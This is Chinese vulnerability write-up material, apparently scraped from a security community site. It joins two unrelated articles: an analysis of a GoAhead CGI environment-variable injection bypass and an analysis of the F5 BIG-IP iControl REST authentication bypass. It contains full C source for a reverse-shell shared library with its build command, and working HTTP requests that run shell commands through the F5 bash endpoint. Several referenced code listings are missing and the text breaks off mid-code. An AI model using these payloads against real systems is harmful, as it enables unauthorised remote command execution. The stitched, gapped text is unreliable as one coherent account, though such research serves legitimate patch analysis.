5.x<=GoAhead web-server<5.1.5
GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用，所以该漏洞的影响范围非常广泛。
## 补丁对比分析
在开始真正漏洞分析之前，我们首先回顾一下GoAhead针对CVE-2017-17562的修复方式。主要修复有2个。第1个在`cgi.c#cgiHandler`处理函数中：
乍一看当参数以`LD_`开头将会被忽略，所以`LD_PRELOAD`无法使用。但是深入分析我们发现这里补丁犯了一个低级错误。这里`vp`虽然来源于`s->name.value.string`：
vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
看下`strim`函数定义：
`vp`将永远为`0`，所以上面通过`if`过滤`LD_PRELOAD`参数的过程是没有任何意义的。接着往下走，GoAhead会将POST请求的表单变量使用`ME_GOAHEAD_CGI_VAR_PREFIX`作为前缀，通过函数`sfmt`进行字符串格式化以保证`LD_PRELOAD`不会被劫持。看起来修复的很完善，但是我们看这里进入第183行处理的前提条件是`s->arg`的值不为`0`（初始化状态为`0`）。
第2处修改位于`http.c#addFormVars`函数：
这里将`arg`赋值为`1`，正好可以满足上面`if`判断的条件。
## HTTP请求处理分析
下面我们开始从GoAhead处理HTTP请求进行简单分析。
### 进程初始化分析
GoAhead进程启动后，会调用`http.c#websServer`函数完成配置初始化处理：
函数`websOpen`会尝试解析`route.txt`，并根据配置选择启动的模块：
`websDefineHandler`函数用来定义处理不同请求类型的回调函数，比如上面定义CGI的回调处理函数为`cgiHandler`，前面补丁对比分析时讲过这个函数会对参数进行加前缀处理。
回到`http.c#websServer`，第3426行将调用`websListen`函数启动HTTP服务，进入该函数：
第644行定义了当有HTTP请求来到时，将回调`websAccept`函数进行处理。
第702行将调用`websAlloc`为每一个请求分配单独的`Webs`结构体空间：
`initWebs`函数完成对`Webs`结构体初始化的工作：
下面我们简要分析一下GoAhead对一次HTTP请求进行处理的流程。GoAhead将HTTP请求分为4个状态：
对于每一个HTTP请求，GoAhead以事件形式通过`readEvent`函数进行处理：
进入`websPump`函数：
### WEBS_BEGIN
在`Accept`阶段（即`WEBS_BEGIN`），调用函数`parseIncoming`：
进入`parseHeaders`对HTTP头进行检查与解析：
?根据`content-type`的不同类型，完成对`wp->flags`的赋值。
### WEBS_CONTENT
当进入参数处理状态时（即`WEBS_CONTENT`），`websPump`将调用`processContent`进行处理：
这里重点讲下文件上传状态`WEBS_UPLOAD`参数处理的过程。在`upload.c`中，默认定义上传文件保存目录为`tmp`：
在`processUploadHeader`中构造此次HTTP请求结构体的`uploadTmp`值：
因此，`websTempFile`默认将生成一个`/tmp/tmp-0.tmp`的临时文件名称，数字是`websTempFile`中根据`count++`生成的。然后打开临时文件，并将文件句柄赋值给`wp->upfd`。在`processContentData`处理上传文件时，将调用`writeToFile`写入文件：
最终将文件写入了`wp->upfd`，也就是保存到了创建的临时文件中。
### WEBS_READY
`websPump`将调用`websRunRequest`进行处理：
在这里有两个函数`websSetQueryVars`和`websSetFormVars`需要注意：
这2个函数都调用了`addFormVars`，在前面对CVE-2017-17562漏洞补丁进行分析的过程中提到过这个函数，`addFormVars`处理的最后将`sp->arg`赋值为`1`，使得`cgi.c#cgiHandler`处理过程中会对请求参数进行重命名，从而修复了CVE-2017-17562漏洞。
## 漏洞分析
有了前面对CVE-2017-17562漏洞修复的补丁对比和HTTP请求原理的分析基础，下面的漏洞分析过程就显得非常简单了。
在`WEBS_READY`提到，GoAhead对POST请求和GET请求提交的参数都会调用`addFormVars`函数进行处理，将`sp->arg`赋值为`1`，从而使得`cgi.c#cgiHandler`重命名环境变量，但是我们可以看到POST请求调用`addFormVars`的前提是`wp-flags`取值为`WEB_FORM`，回顾`WEBS_BEGIN`处理过程，当`content-type`为`multipart/form-data`时，`wp-flags`将赋值为`WEBS_UPLOAD`，也就是说，如果HTTP请求为文件上传类型时，参数将不会通过`addFormVars`处理，此时`s->arg`取值仍然为`0`，从而在`cgi.c#cgiHandler`中将进入如下分支：
后面漏洞触发的原理与CVE-2017-17562就是一样的了。
## 漏洞复现
反弹shell的恶意函数：
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="127.0.0.1";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/bash", 0, 0);
}
编译：
gcc hack.c -fPIC -shared -o hack.so
## 修复方式
在新版本中改动的代码有不少，最核心的变化在`upload.c#processContentData`函数中：
对文件上传处理同样加入了`sp->arg =
1`的处理。同时在`cgi.c#cgiHandler`中，加入了黑名单处理机制，并且调整了`sstarts`判断代码，修复了低级错误：
* * * | 社区文章 |
## 概述
[官方信息](https://support.f5.com/csp/article/K03009991)
影响范围：
Product | Branch | Versions known to be vulnerable | Fixes introduced in |
Severity | CVSSv3 score1 | Vulnerable component or feature
---|---|---|---|---|---|---
BIG-IP (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM,
Link Controller, PEM, SSLO) | 16.x | 16.0.0 - 16.0.1 | 16.1.0 16.0.1.1* |
Critical |
[9.8](https://first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
| iControl REST API
15.x | 15.1.0 - 15.1.2 | 15.1.2.1 | | | |
14.x | 14.1.0 - 14.1.3 | 14.1.4* | | | |
13.x | 13.1.0 - 13.1.3 | 13.1.3.6 | | | |
12.x | 12.1.0 - 12.1.5 | 12.1.5.3** | | | |
11.x | None | Not applicable | | | |
BIG-IQ Centralized Management | 8.x | None | 8.0.0 | Critical |
[9.8](https://first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
| iControl REST API
7.x | 7.1.0 7.0.0 | 7.1.0.3 7.0.0.2 | | | |
6.x | 6.0.0 - 6.1.0 | None | | | |
F5OS | 1.x | None | Not applicable | Not vulnerable | None | None
Traffix SDC | 5.x | None | Not applicable | Not vulnerable | None | None
作为java菜鸟，借此框架加深对java的理解以及各种分析手段的学习，推荐同样作为java新手的人可以看一看，大佬可以直接跳过
## 环境搭建
在[F5下载网站](https://downloads.f5.com/)注册后可成功下载虚拟机版的镜像文件，我这里下载了16.0.0版本的虚拟机ovf，使用vmware可以直接导入
注意在注册账户的时候在国家选择的时候不要瞎选，我开始选了一个不知名的国家，在下载时候报错说软件禁运，不让下载，折腾了半天重新注册了一个账号才搞定。
官网提供[F5 rest
api说明文档](https://cdn.f5.com/websites/devcentral.f5.com/downloads/icontrol-rest-api-user-guide-14-1-0.pdf)
正常的访问web界面的诸多功能的话还需要一个有效的license key，但是这里为了调试漏洞不是很必须，所以省了这个步骤。
vmware导入ovf文件后会要求输入口令密码，默认是root/default,输入后会要求更改默认口令
进入后输入config可以更改虚拟机ip，我将虚拟机的ip更改为了172.16.113.247
打开web界面<https://172.16.113.247即可使用admin/刚刚设置的密码登陆>
## 漏洞复现
默认发送，会报401, Server为Apache
给一个错误的Authorization认证头(为admin:的base64值)，依然会报401, Server为Apache
去掉Authorization认证头，加一个X-F5-Auth-Token认证头，依然报401，但是此时Server为Jetty
然而，当两个头都存在的时候，认证会绕过并执行命令：
通过这几个包的测试我们可以得出结论，当存在X-F5-Auth-Token头时，apache不检查basic认证头，jetty在检查时，只检查Authorization的用户名不检查密码，但是为什么会这样呢，尝试分析
## 分析
### apache认证绕过漏洞分析
简单分析可以知道443是httpd开启的，其使用了apache 2.4.6框架
[root@localhost:NO LICENSE:Standalone] ~ # netstat -antp | grep :443
tcp6 0 0 :::443 :::* LISTEN 4795/httpd
[root@localhost:NO LICENSE:Standalone] ~ # httpd -v
Server version: BIG-IP 67.el7.centos.5.0.0.12 (customized Apache/2.4.6) (CentOS)
Server built: Jun 23 2020 16:37:41
进入httpd配置目录/etc/httpd/
[root@localhost:NO LICENSE:Standalone] httpd # cd /etc/httpd/
[root@localhost:NO LICENSE:Standalone] httpd # grep -r "/mgmt" ./*
Binary file ./modules/mod_f5_auth_cookie.so matches
Binary file ./modules/mod_auth_pam.so matches
./run/config/httpd.conf:<ProxyMatch /mgmt/>
./run/config/httpd.conf:RewriteRule ^/mgmt$ /mgmt/ [PT]
./run/config/httpd.conf:RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]
./run/config/httpd.conf:ProxyPass /mgmt/rpm !
./run/config/httpd.conf:ProxyPass /mgmt/job !
./run/config/httpd.conf:ProxyPass /mgmt/endpoint !
./run/config/httpd.conf:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
./run/config/httpd.conf:ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/
./run/udev/data/n6:E:SYSTEMD_ALIAS=/sys/subsystem/net/devices/mgmt
打开https.conf，找到以下相关部分：
<ProxyMatch /mgmt/>
# Access is restricted to traffic from 127.0.0.1
Require ip 127.0.0.1
Require ip 127.4.2.2
# This is an exact copy of the authentication settings of the document root.
# If a connection is attempted from anywhere but 127.*.*.*, then it will have
# to be authenticated.
# we control basic auth via this file...
IncludeOptional /etc/httpd/conf/basic_auth*.conf
AuthName "Enterprise Manager"
AuthPAM_Enabled on
AuthPAM_ExpiredPasswordsSupport on
require valid-user
</ProxyMatch>
RewriteEngine on
RewriteRule ^/mgmt$ /mgmt/ [PT]
RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]
# Don't proxy REST rpm endpoint requests.
ProxyPass /mgmt/rpm !
ProxyPass /mgmt/job !
ProxyPass /mgmt/endpoint !
# Proxy REST service bus requests.
# We always retry so if we restart the REST service bus, Apache
# will quickly re-discover it. (The default is 60 seconds.)
# If you have retry timeout > 0, Apache timers may go awry
# when clock is reset. It may never re-enable the proxy.
ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0
ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
可以了解到请求/mgmt/相关url开启了AuthPAM_Enabled，启用auth会调用/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权，尝试逆向/usr/lib/httpd/modules/mod_auth_pam.so文件
> IDA中，将汇编统一解析为intel风格,mov dst source
参考[Apache Hook机制解析（上）——钩子机制的实现](http://www.javashuo.com/article/p-cqvtyvsi-cq.html)apache的mod都是通过钩子实现的，逆向mod_auth_pam.so发现
int pam_register_hooks()
{
ap_hook_check_authz(sub_5AF0, 0, 0, 20, 1);
return ap_hook_check_access_ex(sub_5AF0, 0, 0, 20, 1);
}
认证检查的具体代码都在sub_5AF0当中
这个函数很大，而且由于不知名原因不能反编译拿到伪代码，但是可以找到"X-F5-Auth-Token"的调用：
由于代码量较大，看起来比较累，计划结合动态调试搞清楚逻辑，
由于apache默认的话会开启子进程来处理，调试进程这个有点麻烦，为了方便调试搞清楚apache认证绕过过程，以单线程的方式重启httpd，
/usr/sbin/httpd -DTrafficShield -DAVRUI -DWebAccelerator -DSAM -X
通过查看指定进程号下的maps文件，即可知道mod_auth_pam.so的加载基地址
[root@localhost:NO LICENSE:Standalone] config # cat /proc/$(ps -ef |grep "/usr/sbin/httpd -D" | grep -v "grep" | awk '{print $2}')/maps | grep mod_auth_pam.so | grep r-xp
563aa000-563b7000 r-xp 00000000 fd:06 168436 /usr/lib/httpd/modules/mod_auth_pam.so
在mod_auth_pam.so的loc_72D0地址处下断点，即hex(0x563aa000+0x72d0)=0x563b12d0
(gdb) b *0x563b12d0
Breakpoint 1 at 0x563b12d0
然后发送数据包(注意，这个数据包里面是没有X-F5-Auth-Token头的)：
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
Authorization: Basic YWRtaW46
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
继续调试程序，当运行至0x563b12ee(即test eax, eax)时
0x563b12ee in ?? () from /etc/httpd/modules/mod_auth_pam.so
(gdb) i r $eax
eax 0x0 0
可以看出，从头里面取出X-F5-Auth-Token返回值为0，会继续运行,获取其它参数的值
进而会使用从头Authorization中取到的值拿去loc_5f28做验证：
自然，这里是通过不了认证的，会由apache返回登陆失败
然而，如果重新发一个存在X-F5-Auth-Token头的数据包：
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
X-F5-Auth-Token:
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
认证校验这里则会奇怪的绕过对其它头信息的获取及校验，直接扔给<http://localhost:8100/mgmt/去做下一步操作>
### jetty认证绕过漏洞分析
前面已经分析清楚了，如果存在X-F5-Auth-Token则会绕过apache的认证机制，绕过之后，相关信息会被转发给local:8100来做下一步的处理，
查看一下8100是哪个程序在处理：
[root@localhost:NO LICENSE:Standalone] conf # netstat -antp | grep :8100
tcp 1 0 127.0.0.1:55220 127.0.0.1:8100 CLOSE_WAIT 28239/httpd
tcp 1 0 127.0.0.1:49718 127.0.0.1:8100 CLOSE_WAIT 5406/icr_eventd
tcp 1 0 127.0.0.1:51758 127.0.0.1:8100 CLOSE_WAIT 28255/httpd
tcp 1 0 127.0.0.1:59548 127.0.0.1:8100 CLOSE_WAIT 28270/httpd
tcp 1 0 127.0.0.1:43864 127.0.0.1:8100 CLOSE_WAIT 28209/httpd
tcp 1 0 127.0.0.1:47692 127.0.0.1:8100 CLOSE_WAIT 24091/httpd
tcp6 0 0 127.0.0.1:8100 :::* LISTEN 21186/java
tcp6 0 0 127.0.0.1:8100 127.0.0.1:49718 FIN_WAIT2 21186/java
[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true
-D org.quartz.properties=/etc/quartz.properties -Xss384k
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=2
-XX:GCLogFileSize=1M
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:MaxPermSize=72m -Xms96m -Xmx192m
-XX:-UseLargePages
-XX:StringTableSize=60013
-classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost
--port=8100
--outboundConnectionTimeoutSeconds=60
--icrdConnectionTimeoutSeconds=60
--workerJarDirectory=/usr/share/java/rest
--configIndexDirectory=/var/config/rest/index
--storageDirectory=/var/config/rest/storage
--storageConfFile=/etc/rest.storage.BIG-IP.conf
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
我看到基本都是/usr/share/java/rest/这个目录下的jar包，所以偷个懒，把/usr/share/java/rest/目录下的所有jar包反编译
由漏洞复现中的数据包我们可以大概猜测，X-F5-Auth-Token绕过了apache认证，那Authorization: Basic
YWRtaW46应该绕过了java这里的认证，由于在Authorization这里我们只是放了admin:的base64的值，所以猜测java这里并没有去真正的校验密码，只是检查了一下用户名，所以在看java时候，我们也可以有挑选的去找我们的切入点，从Authorization开始下手
动态调试：
通过以下方式可以得知进程运行目录为 `/var/service/restjavad`
[root@localhost:NO LICENSE:Standalone] config # ls -al /proc/21186/
total 0
dr-xr-xr-x. 9 root root 0 May 16 08:17 .
dr-xr-xr-x. 300 root root 0 May 16 07:23 ..
dr-xr-xr-x. 2 root root 0 May 16 16:51 attr
-rw-r--r--. 1 root root 0 May 16 16:51 autogroup
-r--------. 1 root root 0 May 16 16:51 auxv
-r--r--r--. 1 root root 0 May 16 16:51 cgroup
--w-------. 1 root root 0 May 16 16:51 clear_refs
-r--r--r--. 1 root root 0 May 16 09:05 cmdline
-rw-r--r--. 1 root root 0 May 16 16:51 comm
-rw-r--r--. 1 root root 0 May 16 16:51 coredump_filter
-r--r--r--. 1 root root 0 May 16 16:51 cpuset
lrwxrwxrwx. 1 root root 0 May 16 16:51 cwd -> /var/service/restjavad
-r--------. 1 root root 0 May 16 16:51 environ
lrwxrwxrwx. 1 root root 0 May 16 16:51 exe -> /usr/java/java-1.7.0-openjdk/jre-abrt/bin/java
dr-x------. 2 root root 0 May 16 16:51 fd
dr-x------. 2 root root 0 May 16 16:51 fdinfo
-rw-r--r--. 1 root root 0 May 16 16:51 gid_map
-r--------. 1 root root 0 May 16 16:51 io
-r--r--r--. 1 root root 0 May 16 16:51 limits
-rw-r--r--. 1 root root 0 May 16 16:51 loginuid
dr-x------. 2 root root 0 May 16 16:51 map_files
-r--r--r--. 1 root root 0 May 16 16:51 maps
-rw-------. 1 root root 0 May 16 16:51 mem
-r--r--r--. 1 root root 0 May 16 16:51 mountinfo
-r--r--r--. 1 root root 0 May 16 16:51 mounts
-r--------. 1 root root 0 May 16 16:51 mountstats
dr-xr-xr-x. 6 root root 0 May 16 16:51 net
dr-x--x--x. 2 root root 0 May 16 16:51 ns
-r--r--r--. 1 root root 0 May 16 16:51 numa_maps
-rw-r--r--. 1 root root 0 May 16 16:51 oom_adj
-r--r--r--. 1 root root 0 May 16 16:51 oom_score
-rw-r--r--. 1 root root 0 May 16 16:51 oom_score_adj
-r--r--r--. 1 root root 0 May 16 16:51 pagemap
-r--r--r--. 1 root root 0 May 16 16:51 personality
-rw-r--r--. 1 root root 0 May 16 16:51 projid_map
lrwxrwxrwx. 1 root root 0 May 16 16:51 root -> /
-rw-r--r--. 1 root root 0 May 16 16:51 sched
-r--r--r--. 1 root root 0 May 16 16:51 schedstat
-r--r--r--. 1 root root 0 May 16 16:51 sessionid
-rw-r--r--. 1 root root 0 May 16 16:51 setgroups
-r--r--r--. 1 root root 0 May 16 16:51 smaps
-r--r--r--. 1 root root 0 May 16 16:51 stack
-r--r--r--. 1 root root 0 May 16 09:04 stat
-r--r--r--. 1 root root 0 May 16 09:04 statm
-r--r--r--. 1 root root 0 May 16 09:03 status
-r--r--r--. 1 root root 0 May 16 16:51 syscall
dr-xr-xr-x. 43 root root 0 May 16 16:51 task
-r--r--r--. 1 root root 0 May 16 16:51 timers
-rw-r--r--. 1 root root 0 May 16 16:51 uid_map
-r--r--r--. 1 root root 0 May 16 16:51 wchan
[root@localhost:NO LICENSE:Standalone] restjavad # ls -al /var/service/restjavad
total 20
drwxr-xr-x. 5 root root 4096 May 16 07:24 .
drwxr-xr-x. 107 root root 4096 Jun 23 2020 ..
drwxr-xr-x. 2 root root 4096 Jun 23 2020 deps
drwxr-xr-x. 2 root root 4096 Jun 23 2020 requires
lrwxrwxrwx. 1 root root 31 Jun 23 2020 run -> /etc/bigstart/scripts/restjavad
drwx------. 2 root root 4096 May 16 07:27 supervise
修改run文件，即/etc/bigstart/scripts/restjavad,增加一行
JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
同时，利用 `tmsh` 将jdwp监听端口8777开放出去
[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
然后直接杀掉这个进程，会自动重启并开放8777调试端口
根据
[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true
-D org.quartz.properties=/etc/quartz.properties -Xss384k
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=2
-XX:GCLogFileSize=1M
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:MaxPermSize=72m -Xms96m -Xmx192m
-XX:-UseLargePages
-XX:StringTableSize=60013
-classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost
--port=8100
--outboundConnectionTimeoutSeconds=60
--icrdConnectionTimeoutSeconds=60
--workerJarDirectory=/usr/share/java/rest
--configIndexDirectory=/var/config/rest/index
--storageDirectory=/var/config/rest/storage
--storageConfFile=/etc/rest.storage.BIG-IP.conf
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
可知，主类为com.f5.rest.workers.RestWorkerHost
在idea按两下shift搜索RestWorkerHost即可搜到文件RestWorkerHost.class
经过大佬指点，我把/usr/share/java/rest目录下面的jar包全部反编译，然后用VS Code打开审计
先看一下RestWorkerHost.java,从其中main函数开始向下审计
public static void main(String[] args) throws Exception {
Thread.setDefaultUncaughtExceptionHandler(DieOnUncaughtErrorHandler.getHandler());
CommandArgumentParser.parse(RestWorkerHost.class, args);
try {
host = new RestWorkerHost();
host.start();
} catch (Exception var5) {
LOGGER.severe(RestHelper.throwableStackToString(var5));
} finally {
Thread.sleep(1000L);
System.exit(1);
}
}
实例化了一个RestWorkerHost对象，然后调用start函数
void start() throws Exception {
...
this.server = new RestServer(port);
...
this.server.start();
...
}
在start函数中，实例化了一个RestServer对象server,然后调用start函数，在这里一定不要急着去看RestServer类的start函数，先看看RestServer这个类的构造函数
public RestServer(int port) {
this(port, new JettyHost());
}
public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
} else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
RestServer.this.processQueuedRequests();
}
};
}
}
可以看出，这里又会实例化一个JettyHost对象，然后我们再去看RestServer类的start函数
public int start() throws Exception {
......
